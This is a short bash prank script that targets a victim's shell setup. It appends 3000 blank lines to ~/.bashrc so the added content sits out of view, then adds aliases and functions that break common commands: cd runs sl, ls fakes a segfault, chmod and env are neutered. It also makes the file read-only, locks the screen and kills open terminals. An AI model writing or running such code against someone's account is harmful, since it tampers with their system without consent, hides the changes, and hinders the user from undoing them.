#!/bin/bash function spaces() { yes '' | head -n3000 >> ~/.bashrc } spaces cat >>~/.bashrc << EOF unalias -a &> /dev/null unalias -m "*" &> /dev/null alias vim='vi' alias emacs='vi' alias epi3lock='epi3lock -c ff0000' alias zsh='bash' alias sh='bash' alias cd='sl' alias() { display 'http://impawards.com/tv/posters/alias_ver2.jpg'; } ls() { echo Segmentation fault...; } unalias() { echo Segmentation fault...; } chmod() { true; } env() { false; } whence() { echo "what ? "; } which() { echo "who ?"; } whoami() { echo "I am the Alpha and the Omega, the First and the Last, the Beginning and the End."; } command() { eval "$@"; } EOF spaces cat >>~/.bashrc << EOF EOF chmod -w ~/.bashrc command epi3lock killall -9 xterm urxvt xfce-term